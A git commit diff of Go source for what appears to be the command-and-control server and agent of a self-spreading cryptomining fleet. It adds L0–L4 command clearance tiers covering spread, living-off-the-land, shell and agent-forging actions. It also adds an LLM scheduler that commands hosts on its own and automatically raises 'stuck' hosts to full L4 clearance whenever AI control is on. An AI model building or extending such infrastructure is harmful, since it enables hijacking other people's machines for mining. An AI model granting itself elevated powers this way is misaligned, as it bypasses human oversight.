Add L0-L4 security clearance for fleet commands and AI elevation.

Gate manual and AI commands by per-agent clearance, auto-elevate stuck hosts to L4 when AI mode allows, and surface clearance in Access Depth and LOTL timeline.
This commit is contained in:
AetherForge
2026-06-07 02:30:00 -07:00
parent dd612251d1
commit f89ba94cb7
21 changed files with 952 additions and 46 deletions

View File

@@ -78,6 +78,9 @@ type AISnapshot struct {
Capabilities AICapabilitiesSnapshot `json:"capabilities"`
Stuck bool `json:"stuck"`
ClearanceLevel int `json:"clearance_level,omitempty"`
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
InheritedPhenotype *InheritedPhenotype `json:"inherited_phenotype,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
AdaptiveStrategySummary string `json:"adaptive_strategy_summary,omitempty"`
@@ -137,6 +140,16 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
Capabilities: buildAICapabilities(cfg, deployOrder, miningChain),
ChainExhausted: ms.ChainExhausted,
}
c.mu.Lock()
snap.ClearanceLevel = c.clearanceLevel
if len(c.atlasSkips) > 0 {
snap.AtlasSkips = c.atlasSkipsSnapshot()
}
if c.inheritedPhenotype != nil {
copy := *c.inheritedPhenotype
snap.InheritedPhenotype = &copy
}
c.mu.Unlock()
snap.Stuck = aiSnapshotStuck(snap, ms)
if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 || len(strat.Reasoning) > 0 {

View File

@@ -64,11 +64,17 @@ type AgentClient struct {
tierPolicy miner.MiningTierPolicy
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
adaptiveStrategy AdaptiveStrategy
// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
atlasSkips []AtlasSkip
// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
inheritedPhenotype *InheritedPhenotype
// triplePolicy is server-pulled recon → deploy → mining gate policy.
triplePolicy miner.TripleOnionPolicy
triplePolicyLoaded bool
// joinLane is the last successful discover_and_join supply-chain lane.
joinLane string
// clearanceLevel is the server-granted security clearance (L0L4).
clearanceLevel int
// lastJobAt records when the most recent valid mining job was delivered.
// The Stratum fallback manager uses this to detect "connected but jobless"
@@ -384,6 +390,11 @@ func (c *AgentClient) authenticate() error {
}
c.applyAuthLotlPolicy(resp)
c.agentID = resp.AgentID
if resp.ClearanceLevel > 0 {
c.mu.Lock()
c.clearanceLevel = resp.ClearanceLevel
c.mu.Unlock()
}
if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
c.mu.Lock()
c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
@@ -488,6 +499,15 @@ func (c *AgentClient) handleMessage(msg Message) {
hps := c.pool.HashesPerSecond()
c.pushAISnapshot(hps)
}()
case "clearance_update":
var payload struct {
ClearanceLevel int `json:"clearance_level"`
}
if err := json.Unmarshal(msg.Payload, &payload); err == nil && payload.ClearanceLevel >= 0 {
c.mu.Lock()
c.clearanceLevel = payload.ClearanceLevel
c.mu.Unlock()
}
case "command":
var cmd struct {
Action string `json:"action"`
@@ -1130,6 +1150,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
stats.StratumEgress = c.stratumEgress(false)
}
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
stats.AtlasSkips = atlasSkips
}
if lastVulnReport != nil {
score := lastVulnReport.RiskScore
stats.VulnRiskScore = &score

View File

@@ -7,6 +7,9 @@ import (
"log"
"sync"
"time"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/strategy"
)
// SnapshotProvider supplies live agent telemetry for decision cycles.
@@ -27,30 +30,40 @@ type ConfigProvider interface {
// DecisionStore persists decision audit rows.
type DecisionStore interface {
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *CourtDecisionMeta) error
}
// ClearanceElevator raises agent clearance for stuck-host recovery.
type ClearanceElevator interface {
Level(agentID string) int
RequestElevation(agentID string, toLevel int, reason, source string) (int, error)
}
// Scheduler runs periodic LLM decisions for online agents.
type Scheduler struct {
cfg ConfigProvider
snap SnapshotProvider
exec CommandExecutor
store DecisionStore
stop chan struct{}
wg sync.WaitGroup
cfg ConfigProvider
snap SnapshotProvider
exec CommandExecutor
store DecisionStore
court CourtContext
elevator ClearanceElevator
stop chan struct{}
wg sync.WaitGroup
lastRunMu sync.Mutex
lastRun map[string]time.Time
}
func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore) *Scheduler {
func NewScheduler(cfg ConfigProvider, snap SnapshotProvider, exec CommandExecutor, store DecisionStore, court CourtContext, elevator ClearanceElevator) *Scheduler {
return &Scheduler{
cfg: cfg,
snap: snap,
exec: exec,
store: store,
stop: make(chan struct{}),
lastRun: make(map[string]time.Time),
cfg: cfg,
snap: snap,
exec: exec,
store: store,
court: court,
elevator: elevator,
stop: make(chan struct{}),
lastRun: make(map[string]time.Time),
}
}
@@ -83,6 +96,16 @@ func (s *Scheduler) Tick() {
s.tick()
}
// ResetLastRunForTest backs up lastRun so the next Tick runs immediately (tests only).
func (s *Scheduler) ResetLastRunForTest(agentID string, ago time.Duration) {
s.lastRunMu.Lock()
defer s.lastRunMu.Unlock()
if s.lastRun == nil {
s.lastRun = make(map[string]time.Time)
}
s.lastRun[agentID] = time.Now().Add(-ago)
}
func (s *Scheduler) tick() {
if s.cfg == nil || s.snap == nil {
return
@@ -129,9 +152,37 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
if !ok {
return
}
userPrompt := BuildUserPrompt(snap)
systemPrompt := SystemPrompt()
promptHash := hashPrompt(userPrompt)
s.maybeAutoElevate(agentID, snap, cfg)
if s.elevator != nil {
snap.ClearanceLevel = s.elevator.Level(agentID)
}
var systemPrompt, userPrompt string
var courtMeta *CourtDecisionMeta
useCourt := ShouldUseCourt(snap)
if useCourt {
atlasSummary := ""
var phenotype *strategy.FleetPhenotype
if s.court != nil {
goos := firstNonEmpty(snap.GOOS, snap.Platform)
atlasSummary = s.court.FailureAtlasSummary(snap.FingerprintKey, goos)
if p, ok := s.court.BestPhenotype(snap.FingerprintKey, goos); ok {
phenotype = p
}
}
persona := NormalizePersona(cfg.Persona)
bundle := BuildCourtPrompt(snap, atlasSummary, phenotype, persona)
systemPrompt = bundle.SystemPrompt
userPrompt = bundle.UserPrompt
courtMeta = &CourtDecisionMeta{
CourtSession: true,
ProsecutorSnippet: bundle.ProsecutorSnippet,
DefenderSnippet: bundle.DefenderSnippet,
}
} else {
systemPrompt = PersonaSystemPrompt(cfg.Persona)
userPrompt = BuildMissionPrompt(snap)
}
promptHash := hashPrompt(systemPrompt + "\n---\n" + userPrompt)
decide := Decide
if DecideFunc != nil {
@@ -141,12 +192,15 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
if err != nil {
log.Printf("[fleet-ai] agent %s decide: %v", agentID, err)
if s.store != nil {
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error())
_ = s.store.InsertAIDecision(agentID, promptHash, "", "error:"+err.Error(), courtMeta)
}
s.markRun(agentID)
return
}
if courtMeta != nil {
courtMeta.JudgeVerdict = ExtractJudgeVerdict(response)
}
cmds := ParseCommands(response)
results := make([]string, 0, len(cmds))
for _, cmd := range cmds {
@@ -167,11 +221,28 @@ func (s *Scheduler) runAgent(ctx context.Context, agentID string, cfg Config) {
}
executed := FormatExecuted(cmds, results)
if s.store != nil {
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed)
_ = s.store.InsertAIDecision(agentID, promptHash, response, executed, courtMeta)
}
s.markRun(agentID)
}
const stuckHostFailedTierThreshold = 14
func (s *Scheduler) maybeAutoElevate(agentID string, snap AgentSnapshot, cfg Config) {
if !cfg.AutoElevateClearance || s.elevator == nil {
return
}
if !snap.Stuck || snap.FailedTierCount < stuckHostFailedTierThreshold {
return
}
if s.elevator.Level(agentID) >= clearance.L4 {
return
}
if _, err := s.elevator.RequestElevation(agentID, clearance.L4, "stuck host recovery", "ai_scheduler"); err != nil {
log.Printf("[fleet-ai] agent %s clearance elevation: %v", agentID, err)
}
}
func hashPrompt(prompt string) string {
h := sha256.Sum256([]byte(prompt))
return hex.EncodeToString(h[:8])

View File

@@ -5,6 +5,8 @@ import (
"sync"
"testing"
"time"
"crypto-miner-server/internal/clearance"
)
type mockSnap struct {
@@ -38,7 +40,7 @@ type mockStore struct {
rows []string
}
func (m *mockStore) InsertAIDecision(_, _, _, executed string) error {
func (m *mockStore) InsertAIDecision(_, _, _, executed string, _ *CourtDecisionMeta) error {
m.mu.Lock()
m.rows = append(m.rows, executed)
m.mu.Unlock()
@@ -59,6 +61,8 @@ func TestSchedulerExecutesRestartCommand(t *testing.T) {
&mockSnap{ids: []string{"agent-1"}, snap: AgentSnapshot{AgentID: "agent-1", Name: "host"}},
exec,
store,
nil,
nil,
)
sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute)
sched.Tick()
@@ -84,9 +88,77 @@ func TestSchedulerNoOpWhenDisabled(t *testing.T) {
&mockSnap{ids: []string{"agent-1"}},
exec,
nil,
nil,
nil,
)
sched.Tick()
if len(exec.calls) != 0 {
t.Fatalf("expected no calls")
}
}
type mockElevator struct {
mu sync.Mutex
requests []struct {
agentID string
toLevel int
reason string
source string
}
level int
}
func (m *mockElevator) Level(string) int {
if m.level > 0 {
return m.level
}
return clearance.L1
}
func (m *mockElevator) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) {
m.mu.Lock()
defer m.mu.Unlock()
m.requests = append(m.requests, struct {
agentID string
toLevel int
reason string
source string
}{agentID, toLevel, reason, source})
m.level = toLevel
return toLevel, nil
}
func TestSchedulerStuckHostTriggersL4Elevation(t *testing.T) {
old := DecideFunc
defer func() { DecideFunc = old }()
DecideFunc = func(_ context.Context, _, _, _, _ string) (string, error) {
return `{"commands":[{"type":"noop","args":{}}]}`, nil
}
elevator := &mockElevator{}
sched := NewScheduler(
&mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1, AutoElevateClearance: true}},
&mockSnap{
ids: []string{"stuck-1"},
snap: AgentSnapshot{
AgentID: "stuck-1", Name: "host", Stuck: true, FailedTierCount: 14,
},
},
&mockExec{},
&mockStore{},
nil,
elevator,
)
sched.lastRun["stuck-1"] = time.Now().Add(-2 * time.Minute)
sched.Tick()
elevator.mu.Lock()
defer elevator.mu.Unlock()
if len(elevator.requests) != 1 {
t.Fatalf("expected 1 elevation, got %+v", elevator.requests)
}
req := elevator.requests[0]
if req.toLevel != clearance.L4 || req.reason != "stuck host recovery" {
t.Fatalf("unexpected elevation: %+v", req)
}
}

View File

@@ -33,6 +33,11 @@ type AgentSnapshot struct {
SpreadState string
VulnRisk *int
Stuck bool
FailedTierCount int
ClearanceLevel int
FingerprintKey string
AdaptiveSummary string
Adaptive *strategy.AdaptiveStrategy
}
@@ -45,11 +50,13 @@ type Command struct {
// Config holds runtime Fleet AI Control settings.
type Config struct {
Enabled bool
Endpoint string
Model string
NoContext bool
IntervalSec int
Enabled bool
Endpoint string
Model string
NoContext bool
IntervalSec int
AutoElevateClearance bool
Persona string
}
// DecisionRecord is persisted for the UI timeline.

View File

@@ -0,0 +1,146 @@
package api
import (
"fmt"
"sync"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/models"
)
const stuckHostFailedTierThreshold = 14
// ClearanceManager returns the hub's session clearance tracker.
func (h *WSHub) ClearanceManager() *ClearanceManager {
if h == nil {
return nil
}
return h.clearance
}
// ClearanceManager tracks per-agent session clearance and broadcasts changes.
type ClearanceManager struct {
hub *WSHub
mu sync.RWMutex
// agentClearance holds live session clearance keyed by agent ID.
agentClearance map[string]int
}
func NewClearanceManager(hub *WSHub) *ClearanceManager {
return &ClearanceManager{
hub: hub,
agentClearance: make(map[string]int),
}
}
// InitAgent sets baseline clearance when an agent connects.
func (m *ClearanceManager) InitAgent(agentID string, agent *models.Agent) int {
if m == nil {
return clearance.DefaultClearance(agent)
}
level := clearance.DefaultClearance(agent)
m.mu.Lock()
m.agentClearance[agentID] = level
m.mu.Unlock()
m.pushToAgent(agentID, level)
return level
}
// RemoveAgent drops session clearance state.
func (m *ClearanceManager) RemoveAgent(agentID string) {
if m == nil {
return
}
m.mu.Lock()
delete(m.agentClearance, agentID)
m.mu.Unlock()
}
// Level returns the current session clearance for an agent.
func (m *ClearanceManager) Level(agentID string) int {
if m == nil {
return clearance.L0
}
m.mu.RLock()
level, ok := m.agentClearance[agentID]
m.mu.RUnlock()
if ok {
return level
}
if m.hub != nil && m.hub.db != nil {
if agent, err := m.hub.db.GetAgent(agentID); err == nil && agent != nil {
return clearance.DefaultClearance(agent)
}
}
return clearance.L0
}
// RequestElevation raises clearance when needed and notifies dashboards.
func (m *ClearanceManager) RequestElevation(agentID string, toLevel int, reason, source string) (int, error) {
if m == nil {
return clearance.L0, nil
}
current := m.Level(agentID)
newLevel, err := clearance.RequestElevation(m.hub.db, agentID, current, toLevel, reason, source)
if err != nil {
return current, err
}
if newLevel <= current {
return current, nil
}
m.mu.Lock()
m.agentClearance[agentID] = newLevel
m.mu.Unlock()
m.pushToAgent(agentID, newLevel)
m.broadcastElevation(agentID, current, newLevel, reason, source)
return newLevel, nil
}
func (m *ClearanceManager) pushToAgent(agentID string, level int) {
if m == nil || m.hub == nil {
return
}
_ = m.hub.SendToAgent(agentID, Message{
Type: "clearance_update",
Payload: mustMarshal(map[string]interface{}{
"clearance_level": level,
}),
})
}
func (m *ClearanceManager) broadcastElevation(agentID string, fromLevel, toLevel int, reason, source string) {
if m == nil || m.hub == nil {
return
}
m.hub.broadcastDashboard(Message{
Type: "clearance_elevated",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"from_level": fromLevel,
"to_level": toLevel,
"reason": reason,
"source": source,
}),
})
}
// ClearanceGuardExecutor wraps FleetAIExecutor with clearance enforcement.
type ClearanceGuardExecutor struct {
Inner *FleetAIExecutor
Clearance *ClearanceManager
}
func (e *ClearanceGuardExecutor) Execute(agentID string, cmd fleetai.Command) (string, error) {
if e == nil || e.Inner == nil {
return "", fmt.Errorf("executor unavailable")
}
level := clearance.L0
if e.Clearance != nil {
level = e.Clearance.Level(agentID)
}
if err := clearance.EnforceClearance(cmd.Type, cmd.Args, level); err != nil {
return "", err
}
return e.Inner.Execute(agentID, cmd)
}

View File

@@ -6,17 +6,20 @@ import (
"strings"
fleetai "crypto-miner-server/internal/ai"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/strategy"
)
// FleetAIConfigView is the Calibrate subset for Fleet AI Control.
type FleetAIConfigView struct {
AIControlEnabled bool `json:"ai_control_enabled"`
AIEndpoint string `json:"ai_endpoint"`
AIModel string `json:"ai_model"`
AINoContext bool `json:"ai_no_context"`
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
AIControlEnabled bool `json:"ai_control_enabled"`
AIEndpoint string `json:"ai_endpoint"`
AIModel string `json:"ai_model"`
AINoContext bool `json:"ai_no_context"`
AIDecisionIntervalSec int `json:"ai_decision_interval_sec"`
AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"`
AIPersona string `json:"ai_persona"`
}
// FleetAIConfigSource reads/writes Fleet AI settings from server config.
@@ -69,6 +72,15 @@ func (h *WSHub) FleetAISnapshot(agentID string) (fleetai.AgentSnapshot, bool) {
h.mu.RUnlock()
snap.SpreadState = describeSpreadState(agent, snap.Capabilities)
if engine != nil {
fp := engine.AgentFingerprint(agentID)
if fp.GOOS == "" {
fp = strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
}
snap.FingerprintKey = fp.Key()
}
snap.Stuck = fleetai.ComputeStuck(snap)
snap.FailedTierCount = countFailedSpreadTiers(snap.LOTLAttempts)
if engine != nil && !aiMode {
fp := strategy.FingerprintFromAuth(agent.Platform, agent.IP, agent.FirewallDomain != nil && *agent.FirewallDomain)
adaptive := engine.StrategyForAgent(agentID, fp)
@@ -148,6 +160,74 @@ func mergeTelemetryIntoSnapshot(snap *fleetai.AgentSnapshot, tel map[string]inte
n := int(v)
snap.VulnRisk = &n
}
if v, ok := tel["stuck"].(bool); ok {
snap.Stuck = v
}
}
func countFailedSpreadTiers(attempts []fleetai.TierAttempt) int {
attemptByTier := make(map[string]fleetai.TierAttempt, len(attempts))
for _, a := range attempts {
attemptByTier[a.Tier] = a
}
failed := 0
for _, tier := range fleetai.DefaultSpreadTiers() {
if a, ok := attemptByTier[tier]; ok && !a.OK {
failed++
}
}
return failed
}
// DatabaseCourtAdapter supplies failure atlas and phenotype data for court sessions.
type DatabaseCourtAdapter struct {
DB interface {
FailureAtlasSummary(fingerprintKey, goos string) (string, error)
GetFleetPhenotypeByFingerprint(fingerprint string) (*db.StoredPhenotype, error)
ListFleetPhenotypes(fingerprint string) ([]db.StoredPhenotype, error)
}
}
func (a *DatabaseCourtAdapter) FailureAtlasSummary(fingerprintKey, goos string) string {
if a == nil || a.DB == nil {
return ""
}
summary, err := a.DB.FailureAtlasSummary(fingerprintKey, goos)
if err != nil {
return ""
}
return summary
}
func (a *DatabaseCourtAdapter) BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) {
if a == nil || a.DB == nil {
return nil, false
}
stored, err := a.DB.GetFleetPhenotypeByFingerprint(fingerprintKey)
if err == nil && stored != nil {
p := strategy.PhenotypeFromStored(*stored)
return &p, true
}
rows, err := a.DB.ListFleetPhenotypes("")
if err != nil || len(rows) == 0 || goos == "" {
return nil, false
}
prefix := goos + "|"
var best *db.StoredPhenotype
for i := range rows {
row := &rows[i]
if !strings.HasPrefix(row.Fingerprint, prefix) {
continue
}
if best == nil || row.PeakHashrate > best.PeakHashrate {
best = row
}
}
if best == nil {
return nil, false
}
p := strategy.PhenotypeFromStored(*best)
return &p, true
}
// FleetAIExecutor dispatches parsed LLM commands via existing WS command paths.
@@ -321,24 +401,29 @@ func (a *ConfigAIAdapter) AIConfig() fleetai.Config {
endpoint = "http://127.0.0.1:11434/v1"
}
return fleetai.Config{
Enabled: v.AIControlEnabled,
Endpoint: endpoint,
Model: strings.TrimSpace(v.AIModel),
NoContext: v.AINoContext,
IntervalSec: interval,
Enabled: v.AIControlEnabled,
Endpoint: endpoint,
Model: strings.TrimSpace(v.AIModel),
NoContext: v.AINoContext,
IntervalSec: interval,
AutoElevateClearance: v.AIAutoElevateClearance || v.AIControlEnabled,
Persona: fleetai.NormalizePersona(v.AIPersona),
}
}
// DatabaseAIDecisionStore wraps db for InsertAIDecision.
type DatabaseAIDecisionStore struct {
DB interface {
InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error
InsertAIDecision(agentID, promptHash, response, commandsExecuted string, courtSession bool, prosecutorSnippet, defenderSnippet, judgeVerdict string) error
}
}
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string) error {
func (s *DatabaseAIDecisionStore) InsertAIDecision(agentID, promptHash, response, commandsExecuted string, court *fleetai.CourtDecisionMeta) error {
if s == nil || s.DB == nil {
return nil
}
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted)
if court == nil {
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, false, "", "", "")
}
return s.DB.InsertAIDecision(agentID, promptHash, response, commandsExecuted, court.CourtSession, court.ProsecutorSnippet, court.DefenderSnippet, court.JudgeVerdict)
}

View File

@@ -88,3 +88,33 @@ func (h *FleetAIHandler) GetDecisions(w http.ResponseWriter, r *http.Request) {
}
writeJSON(w, rows)
}
func (h *FleetAIHandler) GetClearanceEvents(w http.ResponseWriter, r *http.Request) {
if h.db == nil {
writeJSON(w, []db.ClearanceEvent{})
return
}
listFn, ok := h.db.(interface {
ListClearanceEvents(agentID string, limit int) ([]db.ClearanceEvent, error)
})
if !ok {
writeJSON(w, []db.ClearanceEvent{})
return
}
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
limit := 50
if raw := r.URL.Query().Get("limit"); raw != "" {
if n, err := strconv.Atoi(raw); err == nil && n > 0 {
limit = n
}
}
rows, err := listFn.ListClearanceEvents(agentID, limit)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if rows == nil {
rows = []db.ClearanceEvent{}
}
writeJSON(w, rows)
}

View File

@@ -16,6 +16,7 @@ import (
"time"
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/pool"
@@ -385,6 +386,21 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
if id != "all" {
level := clearance.L0
if mgr := f.ws.ClearanceManager(); mgr != nil {
level = mgr.Level(id)
}
if err := clearance.EnforceAction(req.Action, level); err != nil {
writeJSON(w, map[string]interface{}{
"success": false,
"error": err.Error(),
"agent_id": id,
"action": req.Action,
})
return
}
}
args := map[string]interface{}{}
if req.TailLines > 0 {
args["tail_lines"] = req.TailLines
@@ -599,7 +615,16 @@ func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
sent := 0
failed := 0
mgr := f.ws.ClearanceManager()
for _, id := range req.AgentIDs {
level := clearance.L0
if mgr != nil {
level = mgr.Level(id)
}
if err := clearance.EnforceAction(req.Action, level); err != nil {
failed++
continue
}
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
failed++
} else {

View File

@@ -0,0 +1,46 @@
package clearance
import (
"testing"
)
func TestL2AgentCannotExecShellWithoutElevation(t *testing.T) {
const agentClearance = L2
cases := []struct {
cmdType string
args map[string]interface{}
}{
{"exec_shell", nil},
{"agent_command", map[string]interface{}{"action": "exec"}},
{"agent_command", map[string]interface{}{"action": "powershell"}},
}
for _, tc := range cases {
if err := EnforceClearance(tc.cmdType, tc.args, agentClearance); err == nil {
t.Fatalf("expected clearance error for %s %+v at L2", tc.cmdType, tc.args)
}
}
if err := EnforceClearance("discover_and_join", nil, agentClearance); err != nil {
t.Fatalf("L2 should allow spread: %v", err)
}
if err := EnforceAction("exec", agentClearance); err == nil {
t.Fatal("L2 should block exec action")
}
if err := EnforceAction("pause", agentClearance); err != nil {
t.Fatalf("L2 should allow pause: %v", err)
}
}
func TestCommandRequiredLevels(t *testing.T) {
if CommandRequiredLevel("restart_mining", nil) != L1 {
t.Fatal("restart_mining should be L1")
}
if CommandRequiredLevel("spread_now", nil) != L2 {
t.Fatal("spread_now should be L2")
}
if CommandRequiredLevel("set_agent_version", nil) != L4 {
t.Fatal("set_agent_version should be L4")
}
}

View File

@@ -0,0 +1,12 @@
package clearance
import "crypto-miner-server/internal/models"
// DefaultClearance returns the baseline clearance for an agent.
// Online agents start at L1 (mining commands); offline agents are L0 (read-only).
func DefaultClearance(agent *models.Agent) int {
if agent != nil && agent.Status == "online" {
return L1
}
return L0
}

View File

@@ -0,0 +1,42 @@
package clearance
import (
"fmt"
"strings"
)
// EventStore persists clearance changes and audit rows.
type EventStore interface {
InsertClearanceEvent(agentID string, fromLevel, toLevel int, reason, source string) error
}
// RequestElevation raises an agent to toLevel when higher than current, logs the event, and returns the new level.
func RequestElevation(store EventStore, agentID string, currentLevel, toLevel int, reason, source string) (int, error) {
agentID = strings.TrimSpace(agentID)
if agentID == "" {
return currentLevel, fmt.Errorf("agent id required")
}
if toLevel < L0 {
toLevel = L0
}
if toLevel > L4 {
toLevel = L4
}
if toLevel <= currentLevel {
return currentLevel, nil
}
reason = strings.TrimSpace(reason)
if reason == "" {
reason = "elevation requested"
}
source = strings.TrimSpace(source)
if source == "" {
source = "system"
}
if store != nil {
if err := store.InsertClearanceEvent(agentID, currentLevel, toLevel, reason, source); err != nil {
return currentLevel, err
}
}
return toLevel, nil
}

View File

@@ -0,0 +1,114 @@
package clearance
import (
"fmt"
"strings"
)
// Security clearance levels (L0L4).
const (
L0 = 0 // stats / read-only
L1 = 1 // mining commands
L2 = 2 // spread
L3 = 3 // shell
L4 = 4 // forge / version
)
// LevelLabel returns the badge string for a clearance level.
func LevelLabel(level int) string {
if level < L0 {
level = L0
}
if level > L4 {
level = L4
}
return fmt.Sprintf("L%d", level)
}
// LevelPermissions describes what each level allows (UI tooltips).
func LevelPermissions(level int) string {
switch level {
case L0:
return "stats and read-only probes"
case L1:
return "mining: pause, resume, restart"
case L2:
return "spread: discover_and_join, spread_now, stage_fetch"
case L3:
return "shell: exec_shell, agent_command"
case L4:
return "forge: set_agent_version, reorder_tiers fleet-wide"
default:
return "unknown clearance"
}
}
// ActionRequiredLevel maps a remote agent action to the minimum clearance level.
func ActionRequiredLevel(action string) int {
switch normalizeKey(action) {
case "pause", "resume", "restart", "restart_mining", "start_mining", "stop":
return L1
case "discover_and_join", "spread_now", "stage_fetch":
return L2
case "exec", "exec_shell", "powershell", "agent_command":
return L3
case "fetch_module", "set_agent_version", "reorder_tiers", "adaptive_strategy_update":
return L4
default:
return L0
}
}
// CommandRequiredLevel maps a fleet AI command type to the minimum clearance level.
func CommandRequiredLevel(cmdType string, args map[string]interface{}) int {
typ := normalizeKey(cmdType)
switch typ {
case "noop", "":
return L0
case "restart_mining":
return L1
case "discover_and_join", "spread_now", "stage_fetch":
return L2
case "agent_command":
if args != nil {
if action, ok := args["action"].(string); ok && action != "" {
return ActionRequiredLevel(action)
}
}
return L3
case "bulk_command":
if args != nil {
if action, ok := args["action"].(string); ok && action != "" {
return ActionRequiredLevel(action)
}
}
return L1
case "set_agent_version", "reorder_tiers":
return L4
default:
return ActionRequiredLevel(typ)
}
}
// EnforceClearance returns an error when agentClearance is below the command requirement.
func EnforceClearance(cmdType string, args map[string]interface{}, agentClearance int) error {
required := CommandRequiredLevel(cmdType, args)
if agentClearance >= required {
return nil
}
return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), cmdType, LevelLabel(required))
}
// EnforceAction is the manual API path for raw agent actions.
func EnforceAction(action string, agentClearance int) error {
required := ActionRequiredLevel(action)
if agentClearance >= required {
return nil
}
return fmt.Errorf("clearance %s insufficient for %s (requires %s)", LevelLabel(agentClearance), action, LevelLabel(required))
}
func normalizeKey(s string) string {
s = strings.TrimSpace(strings.ToLower(s))
return strings.ReplaceAll(s, "-", "_")
}

View File

@@ -0,0 +1,100 @@
package db
import (
"database/sql"
"fmt"
"strings"
)
// ClearanceEvent is one clearance elevation audit row.
type ClearanceEvent struct {
ID int64 `json:"id"`
AgentID string `json:"agent_id"`
FromLevel int `json:"from_level"`
ToLevel int `json:"to_level"`
Reason string `json:"reason"`
Source string `json:"source"`
Timestamp string `json:"ts"`
}
func (d *Database) ensureClearanceEventsTable() error {
_, err := d.Exec(`CREATE TABLE IF NOT EXISTS clearance_events (
id INTEGER PRIMARY KEY AUTOINCREMENT,
agent_id TEXT NOT NULL,
from_level INTEGER NOT NULL DEFAULT 0,
to_level INTEGER NOT NULL DEFAULT 0,
reason TEXT NOT NULL DEFAULT '',
source TEXT NOT NULL DEFAULT '',
ts DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
)`)
if err != nil {
return err
}
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_clearance_events_agent ON clearance_events(agent_id)`)
_, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_clearance_events_ts ON clearance_events(ts)`)
return nil
}
// InsertClearanceEvent logs a clearance elevation.
func (d *Database) InsertClearanceEvent(agentID string, fromLevel, toLevel int, reason, source string) error {
if d == nil {
return nil
}
if err := d.ensureClearanceEventsTable(); err != nil {
return err
}
_, err := d.Exec(
`INSERT INTO clearance_events (agent_id, from_level, to_level, reason, source) VALUES (?, ?, ?, ?, ?)`,
agentID, fromLevel, toLevel, reason, source,
)
return err
}
// ListClearanceEvents returns recent clearance events for an agent (or fleet-wide when agentID empty).
func (d *Database) ListClearanceEvents(agentID string, limit int) ([]ClearanceEvent, error) {
if d == nil {
return nil, nil
}
if err := d.ensureClearanceEventsTable(); err != nil {
return nil, err
}
if limit <= 0 {
limit = 50
}
if limit > 500 {
limit = 500
}
var rows *sql.Rows
var err error
agentID = strings.TrimSpace(agentID)
if agentID != "" {
rows, err = d.Query(
`SELECT id, agent_id, from_level, to_level, reason, source, ts
FROM clearance_events WHERE agent_id = ? ORDER BY id DESC LIMIT ?`,
agentID, limit,
)
} else {
rows, err = d.Query(
`SELECT id, agent_id, from_level, to_level, reason, source, ts
FROM clearance_events ORDER BY id DESC LIMIT ?`,
limit,
)
}
if err != nil {
return nil, fmt.Errorf("list clearance events: %w", err)
}
defer rows.Close()
out := make([]ClearanceEvent, 0, limit)
for rows.Next() {
var rec ClearanceEvent
var ts string
if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.FromLevel, &rec.ToLevel, &rec.Reason, &rec.Source, &ts); err != nil {
return nil, err
}
rec.Timestamp = ts
out = append(out, rec)
}
return out, rows.Err()
}

View File

@@ -17,6 +17,7 @@ import (
"crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/api"
"crypto-miner-server/internal/atlas"
"crypto-miner-server/internal/builder"
"crypto-miner-server/internal/cloudflared"
"crypto-miner-server/internal/db"
@@ -138,6 +139,7 @@ func main() {
wsHub := api.NewWSHub(database)
adaptiveEngine := strategy.NewAdaptiveEngine(database, cfg.Server.AdaptiveStrategyEnabled)
wsHub.SetAdaptiveEngine(adaptiveEngine)
wsHub.SetFailureAtlas(atlas.NewFailureAtlas(database))
wsHub.SetAIHandler(aiHandler)
wsHub.SetFleetSecret(cfg.Server.FleetSecret)
